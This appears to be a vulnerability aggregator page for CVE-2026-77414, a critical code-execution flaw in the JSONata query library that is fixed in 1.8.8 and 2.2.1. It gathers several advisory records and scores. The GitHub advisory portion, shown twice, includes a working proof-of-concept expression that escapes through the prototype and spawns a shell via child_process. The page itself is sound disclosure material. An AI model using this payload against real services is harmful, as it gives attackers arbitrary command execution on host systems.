CVE-2026-77414
JSONata: Arbitrary Code Execution via crafted JSONata expressions
JSONata is a JSON query and transformation language. Prior to 1.8.8 and 2.2.1, the src/jsonata.js environment.lookup function used a bypassable hasOwnProperty check. Crafted expressions could use $hasOwnProperty, $spread, $string, prototype access, and $constructor to reach the object prototype and invoke process.getBuiltinModule with child_process, executing arbitrary code with the privileges of the host process. This issue is fixed in versions 1.8.8 and 2.2.1.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
9.3
JSONata: Arbitrary Code Execution via crafted JSONata expressions
JSONata is a JSON query and transformation language. Prior to 1.8.8 and 2.2.1, the src/jsonata.js environment.lookup function used a bypassable hasOwnProperty check. Crafted expressions could use $hasOwnProperty, $spread, $string, prototype access, and $constructor to reach the object prototype and invoke process.getBuiltinModule with child_process, executing arbitrary code with the privileges of the host process. This issue is fixed in versions 1.8.8 and 2.2.1.
- Record
CVE-2026-77414- CVSS 4.0
- 9.3 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-94
- Updated
- 2026-11-02
EUVDEUVD-2026-64083
9.3
JSONata is a JSON query and transformation language. Prior to 1.8.8 and 2.2.1, the src/jsonata.js environment.lookup function used a bypassable hasOwnProperty check. Crafted expressions could use $hasOwnProperty, $spread, $string, prototype access, and $constructor to reach the object prototype and invoke process.getBuiltinModule with child_process, executing arbitrary code with the privileges of the host process. This issue is fixed in versions 1.8.8 and 2.2.1.
- Record
EUVD-2026-64083- CVSS 4.0
- 9.3 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-2943-5xfg-gq5f
9.3
JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions
Before JSONata 2.2.1 and 1.8.8 it was possible to execute arbitrary code with
crafted expressions, due to a bypassable hasOwnProperty check in
environment.lookup
https://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1863-L1871
This was fixed in https://github.com/jsonata-js/jsonata/pull/799
(https://github.com/jsonata-js/jsonata/pull/799/files#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1865-R1865)
which is included in the 2.2.1 release, and then back-ported to the 1.8.8 release.
PoC
import jsonata from "jsonata";
const expression = jsonata(`
(
$hasOwnProperty := $spread($string);
$__proto__ := $constructor;
$constructor("return
process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})")();
)`);
await expression.evaluate({});
- Record
GHSA-2943-5xfg-gq5f- CVSS 4.0
- 9.3 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-94
- Updated
- 2026-11-02
NVD
9.3
JSONata is a JSON query and transformation language. Prior to 1.8.8 and 2.2.1, the src/jsonata.js environment.lookup function used a bypassable hasOwnProperty check. Crafted expressions could use $hasOwnProperty, $spread, $string, prototype access, and $constructor to reach the object prototype and invoke process.getBuiltinModule with child_process, executing arbitrary code with the privileges of the host process. This issue is fixed in versions 1.8.8 and 2.2.1.
- Record
CVE-2026-77414- CVSS 4.0
- 9.3 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Weakness
- CWE-94
- Updated
- 2026-11-02
OSV
9.3
JSONata: Arbitrary Code Execution via crafted JSONata expressions
JSONata is a JSON query and transformation language. Prior to 1.8.8 and 2.2.1, the src/jsonata.js environment.lookup function used a bypassable hasOwnProperty check. Crafted expressions could use $hasOwnProperty, $spread, $string, prototype access, and $constructor to reach the object prototype and invoke process.getBuiltinModule with child_process, executing arbitrary code with the privileges of the host process. This issue is fixed in versions 1.8.8 and 2.2.1.
- Record
CVE-2026-77414- CVSS 4.0
- 9.3 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-94
- Updated
- 2026-11-02
OSVGHSA-2943-5xfg-gq5f
9.3
JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions
Before JSONata 2.2.1 and 1.8.8 it was possible to execute arbitrary code with
crafted expressions, due to a bypassable hasOwnProperty check in
environment.lookup
https://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1863-L1871
This was fixed in https://github.com/jsonata-js/jsonata/pull/799
(https://github.com/jsonata-js/jsonata/pull/799/files#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1865-R1865)
which is included in the 2.2.1 release, and then back-ported to the 1.8.8 release.
PoC
import jsonata from "jsonata";
const expression = jsonata(`
(
$hasOwnProperty := $spread($string);
$__proto__ := $constructor;
$constructor("return
process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})")();
)`);
await expression.evaluate({});
- Record
GHSA-2943-5xfg-gq5f- CVSS 4.0
- 9.3 Critical
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-94
- Updated
- 2026-11-02
Affected products
Affected packages
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-77414 is a critical vulnerability (CVSS 9.3) in Jsonata-js Jsonata, published August 21, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.57%, the 47th percentile. Fixed in jsonata 2.2.1.
References
github.com/jsonata-js/jsonata/security/advisories/GHSA-2943-5xfg-gq5f
github.com/jsonata-js/jsonata/pull/799
github.com/jsonata-js/jsonata/commit/59e25144fc3b7125f6befd71b8a6e14e1fa610d2
github.com/jsonata-js/jsonata/releases/tag/v1.8.8
github.com/jsonata-js/jsonata/releases/tag/v2.2.1
github.com/jsonata-js/jsonata/commit/c41ef185136a7b96ca1049c7745a7503b82193de